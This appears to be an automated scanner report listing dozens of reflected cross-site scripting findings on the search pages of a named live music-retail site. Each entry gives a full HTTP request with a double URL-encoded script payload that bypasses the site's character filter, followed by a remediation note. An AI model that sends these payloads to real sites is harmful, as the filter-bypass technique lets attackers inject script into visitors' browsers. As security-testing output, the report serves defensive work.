GET /search/query/Capitol%20K91fab%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef962b5e103a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 69924%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e813b74ec99f was submitted in the REST URL parameter 3. This input was echoed as 69924"><script>alert(1)</script>813b74ec99f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capleton%2069924%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e813b74ec99f&%20Jah%20Mali&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d0a70%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb438cca3dd was submitted in the REST URL parameter 3. This input was echoed as d0a70</title><script>alert(1)</script>b438cca3dd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capleton%20d0a70%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb438cca3dd&%20Jah%20Mali&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e3d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e150de7e4364 was submitted in the REST URL parameter 3. This input was echoed as 3e3d8"><script>alert(1)</script>150de7e4364 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capleton3e3d8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e150de7e4364&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 95b92%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee1c8b3026e9 was submitted in the REST URL parameter 3. This input was echoed as 95b92</title><script>alert(1)</script>e1c8b3026e9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capleton95b92%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ee1c8b3026e9&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload fd721%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1a3d920bd4a was submitted in the REST URL parameter 3. This input was echoed as fd721</title><script>alert(1)</script>1a3d920bd4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cappadonnafd721%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1a3d920bd4a&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload daf78%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e36e33dc363 was submitted in the REST URL parameter 3. This input was echoed as daf78"><script>alert(1)</script>36e33dc363 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Cappadonnadaf78%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e36e33dc363&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d6d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92b586a2299 was submitted in the REST URL parameter 3. This input was echoed as 3d6d3"><script>alert(1)</script>92b586a2299 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capsize%2073d6d3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92b586a2299&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b8434%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8b88e3caf12 was submitted in the REST URL parameter 3. This input was echoed as b8434</title><script>alert(1)</script>8b88e3caf12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capsize%207b8434%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8b88e3caf12&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e7af6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec37518ec6c6 was submitted in the REST URL parameter 3. This input was echoed as e7af6</title><script>alert(1)</script>c37518ec6c6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capsulae7af6%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec37518ec6c6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdd2c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8e9f620e9fc was submitted in the REST URL parameter 3. This input was echoed as bdd2c"><script>alert(1)</script>8e9f620e9fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Capsulabdd2c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8e9f620e9fc&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 7afc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eac64a0d37f6 was submitted in the REST URL parameter 3. This input was echoed as 7afc4</title><script>alert(1)</script>ac64a0d37f6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%207afc4%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eac64a0d37f6&%20Tennille&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c169%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a4dc65b368 was submitted in the REST URL parameter 3. This input was echoed as 6c169"><script>alert(1)</script>3a4dc65b368 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%206c169%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a4dc65b368&%20Tennille&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload c5c92%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1701caffcf was submitted in the REST URL parameter 3. This input was echoed as c5c92</title><script>alert(1)</script>a1701caffcf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Ahabc5c92%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea1701caffcf&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca4e1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7b6950ca20 was submitted in the REST URL parameter 3. This input was echoed as ca4e1"><script>alert(1)</script>a7b6950ca20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Ahabca4e1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7b6950ca20&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d121%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e542a231f10c was submitted in the REST URL parameter 3. This input was echoed as 6d121"><script>alert(1)</script>542a231f10c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Beefheart%20and%20His%20Magic%20Band6d121%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e542a231f10c&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 1236d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb81f655e02b was submitted in the REST URL parameter 3. This input was echoed as 1236d</title><script>alert(1)</script>b81f655e02b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Beefheart%20and%20His%20Magic%20Band1236d%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb81f655e02b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Captain Beefheart and His Magic Band1236d</title><script>alert(1)</script>b81f655e02b</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28100%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e13be6574f33 was submitted in the REST URL parameter 3. This input was echoed as 28100"><script>alert(1)</script>13be6574f33 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Beefheart28100%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e13be6574f33&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload d3d32%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6b225887cc2 was submitted in the REST URL parameter 3. This input was echoed as d3d32</title><script>alert(1)</script>6b225887cc2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Beefheartd3d32%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6b225887cc2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4888a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea84d697d9ca was submitted in the REST URL parameter 3. This input was echoed as 4888a"><script>alert(1)</script>a84d697d9ca in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Onboard4888a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea84d697d9ca&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 867ed%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e06989965620 was submitted in the REST URL parameter 3. This input was echoed as 867ed</title><script>alert(1)</script>06989965620 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Captain%20Onboard867ed%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e06989965620&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88245%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef3d995ee735 was submitted in the REST URL parameter 3. This input was echoed as 88245"><script>alert(1)</script>f3d995ee735 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carabina%2030%203088245%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef3d995ee735&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e439f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a8015ddcdf was submitted in the REST URL parameter 3. This input was echoed as e439f</title><script>alert(1)</script>3a8015ddcdf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Carabina%2030%2030e439f%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3a8015ddcdf&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 4ef72%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e65012859d80 was submitted in the REST URL parameter 3. This input was echoed as 4ef72</title><script>alert(1)</script>65012859d80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Caralee%20McElroy4ef72%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e65012859d80&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88d30%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed2ece26075f was submitted in the REST URL parameter 3. This input was echoed as 88d30"><script>alert(1)</script>d2ece26075f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Caralee%20McElroy88d30%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed2ece26075f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c641f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e53d985b4f4b was submitted in the REST URL parameter 3. This input was echoed as c641f"><script>alert(1)</script>53d985b4f4b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Caramelc641f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e53d985b4f4b&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 65d67%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b8a20a80ce was submitted in the REST URL parameter 3. This input was echoed as 65d67</title><script>alert(1)</script>5b8a20a80ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Caramel65d67%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b8a20a80ce&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 668a8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eec519e9d99d was submitted in the REST URL parameter 3. This input was echoed as 668a8"><script>alert(1)</script>ec519e9d99d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
